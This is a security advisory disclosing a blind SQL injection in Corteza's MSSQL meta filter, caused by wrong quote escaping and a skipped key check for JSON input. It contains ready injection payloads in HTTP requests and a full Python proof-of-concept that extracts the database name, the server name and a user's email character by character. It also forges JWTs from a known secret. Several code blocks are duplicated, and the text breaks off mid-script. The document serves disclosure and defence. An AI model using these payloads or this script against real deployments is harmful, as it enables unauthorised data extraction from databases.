
Corteza 2024.9.8 - SQL Injection in MSSQL JSON-path meta filter via incorrect T-SQL string escaping
6
Medium
Detected by

Fluid Attacks AI SAST Scanner
Disclosed by
Oscar Uribe
Summary
Full name
Corteza 2024.9.8 - SQL Injection in MSSQL JSON-path meta filter via incorrect T-SQL string escaping
Code name
State
Public
Release date
Affected product
corteza
Vendor
cortezaproject
Vulnerability name
Blind-based SQL injection
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
CVSS v4.0 base score
6.0
Exploit available
Yes
CVE ID(s)
Description
Corteza 2024.9.x contains a SQL injection vulnerability in its Microsoft SQL Server (MSSQL) backend when filtering Compose records by the meta field. The jsonPath function in server/store/adapters/rdbms/drivers/mssql/json.go escapes single quotes using a backslash sequence (\') which is not a valid T-SQL string escape. T-SQL uses quote doubling ('') to escape a single quote; a backslash has no special meaning and is treated as a literal character. As a result, a single quote in an attacker-supplied JSON key terminates the SQL string literal early, allowing injection into the generated JSON_VALUE / CASE expression.
A second bug amplifies the reach: payload.ParseMeta in server/pkg/payload/util.go skips the handle.IsValid key-format check when the meta parameter is supplied as a JSON object ({...}), permitting arbitrary characters — including single quotes — in JSON object keys that would otherwise be rejected.
The two bugs together provide a source-to-sink SQL injection chain that is exploitable by any authenticated user who holds records.search permission on a module with a meta attribute in an MSSQL-backed Corteza deployment.
Vulnerability
Root cause
Wrong T-SQL escape (
server/store/adapters/rdbms/drivers/mssql/json.go:30):sql.WriteString(strings.ReplaceAll(path, "'", `\'`))
sql.WriteString(strings.ReplaceAll(path, "'", `\'`))
sql.WriteString(strings.ReplaceAll(path, "'", `\'`))
sql.WriteString(strings.ReplaceAll(path, "'", `\'`))
\'is not the T-SQL escape for a single quote. T-SQL requires''. When a key containing'reachesjsonPathExpr, the escaping produces\'which T-SQL interprets as the end of the string literal (backslash is literal) followed by SQL content outside the string.Missing key validation for JSON-format input (
server/pkg/payload/util.go:122-129):if strings.HasPrefix(s, "{") && strings.HasSuffix(s, "}") { json.Unmarshal([]byte(s), &m) continue // skips handle.IsValid() entirely } kv := strings.SplitN(s, "=", 2) if !handle.IsValid(kv[0]) { ... } // only reached for key=value format
if strings.HasPrefix(s, "{") && strings.HasSuffix(s, "}") { json.Unmarshal([]byte(s), &m) continue // skips handle.IsValid() entirely } kv := strings.SplitN(s, "=", 2) if !handle.IsValid(kv[0]) { ... } // only reached for key=value format
if strings.HasPrefix(s, "{") && strings.HasSuffix(s, "}") { json.Unmarshal([]byte(s), &m) continue // skips handle.IsValid() entirely } kv := strings.SplitN(s, "=", 2) if !handle.IsValid(kv[0]) { ... } // only reached for key=value format
if strings.HasPrefix(s, "{") && strings.HasSuffix(s, "}") { json.Unmarshal([]byte(s), &m) continue // skips handle.IsValid() entirely } kv := strings.SplitN(s, "=", 2) if !handle.IsValid(kv[0]) { ... } // only reached for key=value format
Sending
meta={"injected_key": "val"}bypasses thehandle.IsValidregex (^[A-Za-z][0-9A-Za-z_\-.]*[A-Za-z0-9]$) that would block special characters in thekey=valueformat.
Confirmed source-to-sink path
Source: HTTP GET parameter
metain the Compose record list endpoint:GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"KEY": "val"}
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"KEY": "val"}
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"KEY": "val"}
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"KEY": "val"}
Parsing (
server/pkg/payload/util.go:114):ParseMetareceives the JSON string, callsjson.Unmarshal, and stores arbitrary keys inmap[string]any— no validation.Filter construction (
server/compose/types/record.go:146):RecordFilter.ToConstraintedFilterpassesf.Metatofilter.WithMetaConstraints.DAL layer (
server/store/adapters/rdbms/dal/model.go:526-527):for mKey, mVal := range f.MetaConstraints() { metaKeyExpr, err = d.dialect.JsonExtractUnquote(metaAttrIdent, mKey)
for mKey, mVal := range f.MetaConstraints() { metaKeyExpr, err = d.dialect.JsonExtractUnquote(metaAttrIdent, mKey)
for mKey, mVal := range f.MetaConstraints() { metaKeyExpr, err = d.dialect.JsonExtractUnquote(metaAttrIdent, mKey)
for mKey, mVal := range f.MetaConstraints() { metaKeyExpr, err = d.dialect.JsonExtractUnquote(metaAttrIdent, mKey)
mKey— the attacker-controlled JSON key — is passed directly tojsonPathExpr.Wrong escape (
server/store/adapters/rdbms/drivers/mssql/json.go:30):\'applied to'in the key.jsonPathExprwraps the result in single quotes and returns aexp.LiteralExpression.Verbatim SQL generation (
vendor/github.com/doug-martin/goqu/v9/exp/literal.go):goqu'sLiteralExpressionwrites the string verbatim —b.WriteStrings(l)— without additional escaping.Sink: the resulting expression is embedded in a
CASE WHEN ISJSON(?) = 1 THEN JSON_VALUE(?, PATH) ELSE NULL ENDclause executed viaDB.QueryContext.
Generated SQL (validated with goqu v9.19.0 + sqlserver dialect)
For key foo') ELSE CAST(@@version AS INT) END-- and comparison value x:
-- goqu output (verbatim): SELECT ... FROM "compose_record" WHERE ( CASE WHEN ISJSON("compose_record"."meta") = 1 THEN JSON_VALUE("compose_record"."meta", '$.foo\') ELSE CAST(@@version AS INT) END--') ELSE NULL END = @p4 )
-- goqu output (verbatim): SELECT ... FROM "compose_record" WHERE ( CASE WHEN ISJSON("compose_record"."meta") = 1 THEN JSON_VALUE("compose_record"."meta", '$.foo\') ELSE CAST(@@version AS INT) END--') ELSE NULL END = @p4 )
-- goqu output (verbatim): SELECT ... FROM "compose_record" WHERE ( CASE WHEN ISJSON("compose_record"."meta") = 1 THEN JSON_VALUE("compose_record"."meta", '$.foo\') ELSE CAST(@@version AS INT) END--') ELSE NULL END = @p4 )
-- goqu output (verbatim): SELECT ... FROM "compose_record" WHERE ( CASE WHEN ISJSON("compose_record"."meta") = 1 THEN JSON_VALUE("compose_record"."meta", '$.foo\') ELSE CAST(@@version AS INT) END--') ELSE NULL END = @p4 )
T-SQL parses '$.foo\' as the string literal $.foo\ (backslash is literal; ' terminates the string). The closing ) after foo\' closes the JSON_VALUE call. The tokens ELSE CAST(@@version AS INT) END are now raw SQL, injected into the CASE expression as an additional ELSE branch. The -- line comment suppresses the remainder of the template.
Effective T-SQL CASE after injection:
CASE WHEN ISJSON(meta) = 1 THEN JSON_VALUE(meta, '$.foo\') -- returns NVARCHAR or NULL ELSE CAST(@@version AS INT) -- fires when meta IS NULL; Msg 245 leaks version END
CASE WHEN ISJSON(meta) = 1 THEN JSON_VALUE(meta, '$.foo\') -- returns NVARCHAR or NULL ELSE CAST(@@version AS INT) -- fires when meta IS NULL; Msg 245 leaks version END
CASE WHEN ISJSON(meta) = 1 THEN JSON_VALUE(meta, '$.foo\') -- returns NVARCHAR or NULL ELSE CAST(@@version AS INT) -- fires when meta IS NULL; Msg 245 leaks version END
CASE WHEN ISJSON(meta) = 1 THEN JSON_VALUE(meta, '$.foo\') -- returns NVARCHAR or NULL ELSE CAST(@@version AS INT) -- fires when meta IS NULL; Msg 245 leaks version END
PoC
Preconditions
Corteza instance running with a Microsoft SQL Server backend.
Authenticated session with
records.searchpermission on any Compose module (any module includes ametaattribute by default viasysMetainserver/compose/service/module.go:1447).At least one record in the module (to ensure the WHERE clause evaluates a row; a row with
meta = NULLreliably triggers theELSEbranch).
Step 1 — Baseline (safe request, HTTP 200)
Send a well-formed meta filter using the JSON object format with a safe key:
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"safeKey":"baseline"} Authorization: Bearer <token> Accept: application/json
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"safeKey":"baseline"} Authorization: Bearer <token> Accept: application/json
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"safeKey":"baseline"} Authorization: Bearer <token> Accept: application/json
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"safeKey":"baseline"} Authorization: Bearer <token> Accept: application/json
Expected result:
HTTP 200 with an empty or populated record set and no error field.
Step 2 — Injection (SQL error confirming altered query)
Send a meta filter with the injection key in JSON object format:
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"foo') ELSE CAST(@@version AS INT) END--":"x"} Authorization: Bearer <token> Accept: application/json
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"foo') ELSE CAST(@@version AS INT) END--":"x"} Authorization: Bearer <token> Accept: application/json
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"foo') ELSE CAST(@@version AS INT) END--":"x"} Authorization: Bearer <token> Accept: application/json
GET /compose/namespace/{nsID}/module/{modID}/record/?meta={"foo') ELSE CAST(@@version AS INT) END--":"x"} Authorization: Bearer <token> Accept: application/json
Expected result:
HTTP 200 with a JSON error body containing an MSSQL error message, confirming the injected SQL reached and altered the executed query:
{ "error": { "message": "mssql: Incorrect syntax near 'END'." } }
{ "error": { "message": "mssql: Incorrect syntax near 'END'." } }
{ "error": { "message": "mssql: Incorrect syntax near 'END'." } }
{ "error": { "message": "mssql: Incorrect syntax near 'END'." } }
Automated PoC — blind boolean data extraction (demo.py)
#!/usr/bin/env python3 """ Corteza MSSQL Blind Boolean SQL Injection ====================================================== Vulnerability : server/store/adapters/rdbms/drivers/mssql/json.go:30 Root cause : wrong T-SQL escape (\' instead of '') + JSON key bypasses handle.IsValid Technique : blind boolean injection via CASE ELSE branch """ import sys import time import uuid import json import subprocess import warnings import requests # ── Config ───────────────────────────────────────────────────────────────────── BASE = "http://localhost:8080" MSSQL_CONTAINER = "corteza-mssql-1" DB = "corteza_triage" JWT_SECRET = "triage-testing-secret-do-not-use-in-prod" JWT_ALGORITHM = "HS512" # ── ANSI ─────────────────────────────────────────────────────────────────────── R = "\033[31m" G = "\033[32m" Y = "\033[33m" B = "\033[34m" M = "\033[35m" C = "\033[36m" W = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" def _sqlcmd(q): r = subprocess.run( ["docker","exec", MSSQL_CONTAINER, "/opt/mssql-tools18/bin/sqlcmd", "-S","localhost","-U","sa","-P","Admin1234!","-C", "-d", DB, "-Q", q], capture_output=True, text=True ) return r.stdout def make_token(): try: import jwt as pyjwt except ImportError: print("pip3 install PyJWT --break-system-packages") sys.exit(1) out = _sqlcmd(f""" SELECT u.id, rm.rel_role, ac.id FROM users u JOIN role_members rm ON rm.rel_resource = 'corteza::system:user/' + CAST(u.id AS VARCHAR) JOIN auth_clients ac ON ac.handle = 'webapp' WHERE u.email = '[email protected]' """).strip() ids = None for line in out.splitlines(): parts = line.split() if len(parts) == 3 and parts[0].isdigit(): ids = parts break if not ids: print(f"{R}Cannot find user/role/client in DB{W}") sys.exit(1) user_id, role_id, client_id = ids now = int(time.time()) atid = str(uuid.uuid4()) payload = { "jti": atid, "sub": user_id, "roles": [role_id], "clientID": client_id, "scope": "profile api", "iss": "", "iat": now, "exp": now + 86400, } with warnings.catch_warnings(): warnings.simplefilter("ignore") token = pyjwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) _sqlcmd(f""" DELETE FROM auth_oa2tokens WHERE rel_user = {user_id} AND user_agent = 'demo'; INSERT INTO auth_oa2tokens (id,code,access,refresh,data,remote_addr,user_agent,rel_client,rel_user,created_at,expires_at) VALUES ( CAST(RAND()*9000000000000000000+1000000000000000000 AS BIGINT), '{atid}', '{atid}', '', '{{}}', '127.0.0.1', 'demo', {client_id}, {user_id}, GETDATE(), DATEADD(day,1,GETDATE()) ); """) return token def api(method, path, token, **kw): h = {"Authorization": f"Bearer {token}", "Accept": "application/json", "Content-Type": "application/json"} return requests.request(method, f"{BASE}{path}", headers=h, timeout=15, **kw) def setup(token): run_id = str(int(time.time()))[-6:] r = api("POST", "/compose/namespace/", token, json={"name": f"SQLi Demo {run_id}", "slug": f"sqli-demo-{run_id}", "enabled": True}) ns = r.json()["response"]["namespaceID"] r = api("POST", f"/compose/namespace/{ns}/module/", token, json={"name": "Records", "handle": "demo-records", "fields": [{"name": "note", "kind": "String"}], "meta": {}}) mod = r.json()["response"]["moduleID"] for i in range(1, 4): api("POST", f"/compose/namespace/{ns}/module/{mod}/record/", token, json={"values": [{"name": "note", "value": f"record {i}"}]}) return ns, mod def query_records(token, ns, mod, key, val="x"): """Run meta filter and return (record_count, error_message).""" meta = json.dumps({key: val}) r = api("GET", f"/compose/namespace/{ns}/module/{mod}/record/", token, params={"meta": meta}) d = r.json() err = d.get("error", {}).get("message", "") rec = len(d.get("response", {}).get("set", [])) return rec, err def blind(token, ns, mod, sql_condition): """Returns True if sql_condition evaluates to truthy in SQL Server.""" key = (f"foo') ELSE CASE WHEN {sql_condition} " f"THEN 1 ELSE 0 END END > 0) AND 1=1)--") count, _ = query_records(token, ns, mod, key) return count > 0 def extract_string(token, ns, mod, sql_expr, max_len=64): """Extract a SQL string expression via blind boolean char-by-char.""" result = "" for pos in range(1, max_len + 1): # Binary search on ASCII code of char at position pos lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 cond = f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) > {mid}" if blind(token, ns, mod, cond): lo = mid + 1 else: hi = mid if lo <= 32 or lo > 126: break result += chr(lo) # Live output print(f"\r {DIM}extracting...{W} {G}{BOLD}{result}{W}", end="", flush=True) print() return result # ── Demo sections ────────────────────────────────────────────────────────────── def section(title): print(f"\n{BOLD}{B}{'─'*60}{W}") print(f"{BOLD}{B} {title}{W}") print(f"{BOLD}{B}{'─'*60}{W}\n") def step(n, text): print(f" {BOLD}{Y}[{n}]{W} {text}") def result(label, value, highlight=False): colour = R if highlight else G print(f" {DIM}{label}:{W} {colour}{BOLD}{value}{W}") def main(): print(f"\n{BOLD}{'═'*60}") print(" Corteza MSSQL — Blind Boolean SQL Injection Demo") print(" CVE-2026-6093 · json.go:30 · wrong T-SQL escape") print(f"{'═'*60}{W}") # ── 0. Check environment ──────────────────────────────────────────────────── section("0. Environment check") try: r = requests.get(f"{BASE}/healthcheck", timeout=5) ok = all(line.startswith("PASS") for line in r.text.strip().splitlines()) except Exception: ok = False if not ok: print(f" {R}Corteza not reachable at {BASE}{W}") print(f" Run: docker compose -f docker-compose.mssql.yml up -d") sys.exit(1) print(f" {G}Corteza is up and healthy{W} ({BASE}/healthcheck → all PASS)") # ── 1. Auth ───────────────────────────────────────────────────────────────── section("1. Authentication") step("a", "Generating JWT with known AUTH_JWT_SECRET (HS512)") token = make_token() print(f" {DIM}token:{W} {token[:45]}…") step("b", "Verifying token against API") r = requests.get(f"{BASE}/compose/namespace/", timeout=10, headers={"Authorization": f"Bearer {token}", "Accept": "application/json"}) if r.status_code != 200: print(f" {R}Token invalid: {r.status_code}{W}") sys.exit(1) print(f" {G}Authenticated as [email protected]{W}") # ── 2. Setup test data ────────────────────────────────────────────────────── section("2. Setup — namespace, module, 3 records (meta=NULL)") ns, mod = setup(token) print(f" namespace : {ns}") print(f" module : {mod}") print(f" records : 3 inserted (meta column is NULL on all)") # ── 3. Baseline ───────────────────────────────────────────────────────────── section("3. Baseline — normal meta filter") step("a", "Request: meta={\"safeKey\": \"value\"}") n, err = query_records(token, ns, mod, "safeKey", "value") result("records returned", n) result("sql error", err or "none") print(f"\n {G}→ HTTP 200, 0 records — filter works normally{W}") # ── 4. Injection proof ────────────────────────────────────────────────────── section("4. SQL Injection — boolean control") step("a", "Condition TRUE: LEN(db_name()) > 5 → should return records") n_true, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 5 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_true, highlight=(n_true > 0)) step("b", "Condition FALSE: LEN(db_name()) > 100 → should return 0") n_false, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 100 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_false, highlight=(n_false > 0)) if n_true > 0 and n_false == 0: print(f"\n {R}{BOLD}✅ SQL INJECTION CONFIRMED{W}") print(f" {DIM}Attacker controls which rows SQL Server returns{W}") else: print(f"\n {Y}⚠ Unexpected result — check environment{W}") # ── 5. Blind boolean extraction ───────────────────────────────────────────── section("5. Data extraction — blind boolean, character by character") print(f" {DIM}Technique: binary search on ASCII(SUBSTRING(expr, pos, 1)){W}\n") targets = [ ("DB name", "db_name()"), ("Server name", "@@SERVERNAME"), ("First user", "SELECT TOP 1 email FROM users ORDER BY id"), ] extracted = {} for label, sql_expr in targets: step("→", f"Extracting: {C}{label}{W} via {DIM}{sql_expr}{W}") val = extract_string(token, ns, mod, sql_expr) extracted[label] = val result(label, val, highlight=True) time.sleep(0.3) # ── 6. Summary ─────────────────────────────────────────────────────────────── print(f"\n{BOLD}{'═'*60}") print(" EXTRACTION RESULTS") print(f"{'═'*60}{W}") for label, val in extracted.items(): print(f" {Y}{label:<15}{W} {R}{BOLD}{val}{W}") print(f"\n{BOLD}{'─'*60}") print(" ROOT CAUSE") print(f"{'─'*60}{W}") print(f" File {C}server/store/adapters/rdbms/drivers/mssql/json.go:30{W}") print(f" Bug {R}strings.ReplaceAll(path, \"'\", `\\'`){W}") print(f" Fix {G}strings.ReplaceAll(path, \"'\", \"''\"){W}") print(f" Also {Y}ParseMeta JSON path skips handle.IsValid key validation{W}
#!/usr/bin/env python3 """ Corteza MSSQL Blind Boolean SQL Injection ====================================================== Vulnerability : server/store/adapters/rdbms/drivers/mssql/json.go:30 Root cause : wrong T-SQL escape (\' instead of '') + JSON key bypasses handle.IsValid Technique : blind boolean injection via CASE ELSE branch """ import sys import time import uuid import json import subprocess import warnings import requests # ── Config ───────────────────────────────────────────────────────────────────── BASE = "http://localhost:8080" MSSQL_CONTAINER = "corteza-mssql-1" DB = "corteza_triage" JWT_SECRET = "triage-testing-secret-do-not-use-in-prod" JWT_ALGORITHM = "HS512" # ── ANSI ─────────────────────────────────────────────────────────────────────── R = "\033[31m" G = "\033[32m" Y = "\033[33m" B = "\033[34m" M = "\033[35m" C = "\033[36m" W = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" def _sqlcmd(q): r = subprocess.run( ["docker","exec", MSSQL_CONTAINER, "/opt/mssql-tools18/bin/sqlcmd", "-S","localhost","-U","sa","-P","Admin1234!","-C", "-d", DB, "-Q", q], capture_output=True, text=True ) return r.stdout def make_token(): try: import jwt as pyjwt except ImportError: print("pip3 install PyJWT --break-system-packages") sys.exit(1) out = _sqlcmd(f""" SELECT u.id, rm.rel_role, ac.id FROM users u JOIN role_members rm ON rm.rel_resource = 'corteza::system:user/' + CAST(u.id AS VARCHAR) JOIN auth_clients ac ON ac.handle = 'webapp' WHERE u.email = '[email protected]' """).strip() ids = None for line in out.splitlines(): parts = line.split() if len(parts) == 3 and parts[0].isdigit(): ids = parts break if not ids: print(f"{R}Cannot find user/role/client in DB{W}") sys.exit(1) user_id, role_id, client_id = ids now = int(time.time()) atid = str(uuid.uuid4()) payload = { "jti": atid, "sub": user_id, "roles": [role_id], "clientID": client_id, "scope": "profile api", "iss": "", "iat": now, "exp": now + 86400, } with warnings.catch_warnings(): warnings.simplefilter("ignore") token = pyjwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) _sqlcmd(f""" DELETE FROM auth_oa2tokens WHERE rel_user = {user_id} AND user_agent = 'demo'; INSERT INTO auth_oa2tokens (id,code,access,refresh,data,remote_addr,user_agent,rel_client,rel_user,created_at,expires_at) VALUES ( CAST(RAND()*9000000000000000000+1000000000000000000 AS BIGINT), '{atid}', '{atid}', '', '{{}}', '127.0.0.1', 'demo', {client_id}, {user_id}, GETDATE(), DATEADD(day,1,GETDATE()) ); """) return token def api(method, path, token, **kw): h = {"Authorization": f"Bearer {token}", "Accept": "application/json", "Content-Type": "application/json"} return requests.request(method, f"{BASE}{path}", headers=h, timeout=15, **kw) def setup(token): run_id = str(int(time.time()))[-6:] r = api("POST", "/compose/namespace/", token, json={"name": f"SQLi Demo {run_id}", "slug": f"sqli-demo-{run_id}", "enabled": True}) ns = r.json()["response"]["namespaceID"] r = api("POST", f"/compose/namespace/{ns}/module/", token, json={"name": "Records", "handle": "demo-records", "fields": [{"name": "note", "kind": "String"}], "meta": {}}) mod = r.json()["response"]["moduleID"] for i in range(1, 4): api("POST", f"/compose/namespace/{ns}/module/{mod}/record/", token, json={"values": [{"name": "note", "value": f"record {i}"}]}) return ns, mod def query_records(token, ns, mod, key, val="x"): """Run meta filter and return (record_count, error_message).""" meta = json.dumps({key: val}) r = api("GET", f"/compose/namespace/{ns}/module/{mod}/record/", token, params={"meta": meta}) d = r.json() err = d.get("error", {}).get("message", "") rec = len(d.get("response", {}).get("set", [])) return rec, err def blind(token, ns, mod, sql_condition): """Returns True if sql_condition evaluates to truthy in SQL Server.""" key = (f"foo') ELSE CASE WHEN {sql_condition} " f"THEN 1 ELSE 0 END END > 0) AND 1=1)--") count, _ = query_records(token, ns, mod, key) return count > 0 def extract_string(token, ns, mod, sql_expr, max_len=64): """Extract a SQL string expression via blind boolean char-by-char.""" result = "" for pos in range(1, max_len + 1): # Binary search on ASCII code of char at position pos lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 cond = f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) > {mid}" if blind(token, ns, mod, cond): lo = mid + 1 else: hi = mid if lo <= 32 or lo > 126: break result += chr(lo) # Live output print(f"\r {DIM}extracting...{W} {G}{BOLD}{result}{W}", end="", flush=True) print() return result # ── Demo sections ────────────────────────────────────────────────────────────── def section(title): print(f"\n{BOLD}{B}{'─'*60}{W}") print(f"{BOLD}{B} {title}{W}") print(f"{BOLD}{B}{'─'*60}{W}\n") def step(n, text): print(f" {BOLD}{Y}[{n}]{W} {text}") def result(label, value, highlight=False): colour = R if highlight else G print(f" {DIM}{label}:{W} {colour}{BOLD}{value}{W}") def main(): print(f"\n{BOLD}{'═'*60}") print(" Corteza MSSQL — Blind Boolean SQL Injection Demo") print(" CVE-2026-6093 · json.go:30 · wrong T-SQL escape") print(f"{'═'*60}{W}") # ── 0. Check environment ──────────────────────────────────────────────────── section("0. Environment check") try: r = requests.get(f"{BASE}/healthcheck", timeout=5) ok = all(line.startswith("PASS") for line in r.text.strip().splitlines()) except Exception: ok = False if not ok: print(f" {R}Corteza not reachable at {BASE}{W}") print(f" Run: docker compose -f docker-compose.mssql.yml up -d") sys.exit(1) print(f" {G}Corteza is up and healthy{W} ({BASE}/healthcheck → all PASS)") # ── 1. Auth ───────────────────────────────────────────────────────────────── section("1. Authentication") step("a", "Generating JWT with known AUTH_JWT_SECRET (HS512)") token = make_token() print(f" {DIM}token:{W} {token[:45]}…") step("b", "Verifying token against API") r = requests.get(f"{BASE}/compose/namespace/", timeout=10, headers={"Authorization": f"Bearer {token}", "Accept": "application/json"}) if r.status_code != 200: print(f" {R}Token invalid: {r.status_code}{W}") sys.exit(1) print(f" {G}Authenticated as [email protected]{W}") # ── 2. Setup test data ────────────────────────────────────────────────────── section("2. Setup — namespace, module, 3 records (meta=NULL)") ns, mod = setup(token) print(f" namespace : {ns}") print(f" module : {mod}") print(f" records : 3 inserted (meta column is NULL on all)") # ── 3. Baseline ───────────────────────────────────────────────────────────── section("3. Baseline — normal meta filter") step("a", "Request: meta={\"safeKey\": \"value\"}") n, err = query_records(token, ns, mod, "safeKey", "value") result("records returned", n) result("sql error", err or "none") print(f"\n {G}→ HTTP 200, 0 records — filter works normally{W}") # ── 4. Injection proof ────────────────────────────────────────────────────── section("4. SQL Injection — boolean control") step("a", "Condition TRUE: LEN(db_name()) > 5 → should return records") n_true, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 5 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_true, highlight=(n_true > 0)) step("b", "Condition FALSE: LEN(db_name()) > 100 → should return 0") n_false, _ = query_records(token, ns, mod, "foo') ELSE CASE WHEN LEN(db_name()) > 100 THEN 1 ELSE 0 END END > 0) AND 1=1)--") result("records returned", n_false, highlight=(n_false > 0)) if n_true > 0 and n_false == 0: print(f"\n {R}{BOLD}✅ SQL INJECTION CONFIRMED{W}") print(f" {DIM}Attacker controls which rows SQL Server returns{W}") else: print(f"\n {Y}⚠ Unexpected result — check environment{W}") # ── 5. Blind boolean extraction ───────────────────────────────────────────── section("5. Data extraction — blind boolean, character by character") print(f" {DIM}Technique: binary search on ASCII(SUBSTRING(expr, pos, 1)){W}\n") targets = [ ("DB name", "db_name()"), ("Server name", "@@SERVERNAME"), ("First user", "SELECT TOP 1 email FROM users ORDER BY id"), ] extracted = {} for label, sql_expr in targets: step("→", f"Extracting: {C}{label}{W} via {DIM}{sql_expr}{W}") val = extract_string(token, ns, mod, sql_expr) extracted[label] = val result(label, val, highlight=True) time.sleep(0.3) # ── 6. Summary ─────────────────────────────────────────────────────────────── print(f"\n{BOLD}{'═'*60}") print(" EXTRACTION RESULTS") print(f"{'═'*60}{W}") for label, val in extracted.items(): print(f" {Y}{label:<15}{W} {R}{BOLD}{val}{W}") print(f"\n{BOLD}{'─'*60}") print(" ROOT CAUSE") print(f"{'─'*60}{W}") print(f" File {C}server/store/adapters/rdbms/drivers/mssql/json.go:30{W}") print(f" Bug {R}strings.ReplaceAll(path, \"'\", `\\'`){W}") print(f" Fix {G}strings.ReplaceAll(path, \"'\", \"''\"){W}") print(f" Also {Y}ParseMeta JSON path skips handle.IsValid key validation{W}
#!/usr/bin/env python3 """ Corteza MSSQL Blind Boolean SQL Injection ====================================================== Vulnerability : server/store/adapters/rdbms/drivers/mssql/json.go:30 Root cause : wrong T-SQL escape (\' instead of '') + JSON key bypasses handle.IsValid Technique : blind boolean injection via CASE ELSE branch """ import sys import time import uuid import json import subprocess import warnings import requests # ── Config ───────────────────────────────────────────────────────────────────── BASE = "http://localhost:8080" MSSQL_CONTAINER = "corteza-mssql-1" DB = "corteza_triage" JWT_SECRET = "triage-testing-secret-do-not-use-in-prod" JWT_ALGORITHM = "HS512" # ── ANSI ─────────────────────────────────────────────────────────────────────── R = "\033[31m" G = "\033[32m" Y = "\033[33m" B = "\033[34m" M = "\033[35m" C = "\033[36m" W = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" def _sqlcmd(q): r = subprocess.run( ["docker","exec", MSSQL_CONTAINER, "/opt/mssql-tools18/bin/sqlcmd", "-S","localhost","-U","sa","-P","Admin1234!","-C", "-d", DB, "-Q", q], capture_output=True, text=True ) return r.stdout def make_token(): try: import jwt as pyjwt except ImportError: print("pip3 install PyJWT --break-system-packages") sys.exit(1) out = _sqlcmd(f""" SELECT u.id, rm.rel_role, ac.id FROM users u JOIN role_members rm ON rm.rel_resource = 'corteza::system:user/' + CAST(u.id AS VARCHAR) JOIN auth_clients ac ON ac.handle = 'webapp' WHERE u.email = '[email protected]' """).strip() ids = None for line in out.splitlines(): parts = line.split() if len(parts) == 3 and parts[0].isdigit(): ids = parts break if not ids: print(f"{R}Cannot find user/role/client in DB{W}") sys.exit(1) user_id, role_id, client_id = ids now = int(time.time()) atid = str(uuid.uuid4()) payload = { "jti": atid, "sub": user_id, "roles": [role_id], "clientID": client_id, "scope": "profile api", "iss": "", "iat": now, "exp": now + 86400, } with warnings.catch_warnings(): warnings.simplefilter("ignore") token = pyjwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) _sqlcmd(f""" DELETE FROM auth_oa2tokens WHERE rel_user = {user_id} AND user_agent = 'demo'; INSERT INTO auth_oa2tokens (id,code,access,refresh,data,remote_addr,user_agent,rel_client,rel_user,created_at,expires_at) VALUES ( CAST(RAND()*9000000000000000000+1000000000000000000 AS BIGINT), '{atid}', '{atid}', '', '{{}}', '127.0.0.1', 'demo', {client_id}, {user_id}, GETDATE(), DATEADD(day,1,GETDATE()) ); """) return token def api(method, path, token, **kw): h = {"Authorization": f"Bearer {token}", "Accept": "application/json", "Content-Type": "application/json"} return requests.request(method, f"{BASE}{path}", headers=h, timeout=15, **kw) def setup(token): run_id = str(int(time.time()))[-6:] r = api("POST", "/compose/namespace/", token, json={"name": f"SQLi Demo {run_id}", "slug": f"sqli-demo-{run_id}", "enabled": True}) ns = r.json()["response"]["namespaceID"] r = api("POST", f"/compose/namespace/{ns}/module/", token, json={"name": "Records", "handle": "demo-records", "fields": [{"name": "note", "kind": "String"}], "meta": {}}) mod = r.json()["response"]["moduleID"] for i in range(1, 4): api("POST", f"/compose/namespace/{ns}/module/{mod}/record/", token, json={"values": [{"name": "note", "value": f"record {i}"}]}) return ns, mod def query_records(token, ns, mod, key, val="x"): """Run meta filter and return (record_count, error_message).""" meta = json.dumps({key: val}) r = api("GET", f"/compose/namespace/{ns}/module/{mod}/record/", token, params={"meta": meta}) d = r.json() err = d.get("error", {}).get("message", "") rec = len(d.get("response", {}).get("set", [])) return rec, err def blind(token, ns, mod, sql_condition): """Returns True if sql_condition evaluates to truthy in SQL Server.""" key = (f"foo') ELSE CASE WHEN {sql_condition} " f"THEN 1 ELSE 0 END END > 0) AND 1=1)--") count, _ = query_records(token, ns, mod, key) return count > 0 def extract_string(token, ns, mod, sql_expr, max_len=64): """Extract a SQL string expression via blind boolean char-by-char.""" result = "" for pos in range(1, max_len + 1): # Binary search on ASCII code of char at position pos lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 cond = f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) > {mid}" if blind(token, ns, mod, cond): lo = mid + 1 else: hi = mid if lo <= 32 or lo > 126: break result += chr(lo) # Live output print(f"\r {DIM}extracting...{W} {G}{BOLD}{result}{W}", end="", flush=True) print() return result # ── Demo sections ────────────────────────────────────────────────────────────── def section(title): print(f"\n{BOLD}{B}{'─'*60}{W}") print(f"{BOLD}{B} {title}{W}") print(f"{BOLD}{B}{'─'*60}{W}\n") def step(n, text): print(f" {BOLD}{Y}[{n}]{W} {text}") def result(label, value, highlight=False): colour = R if highlight else G print(f" 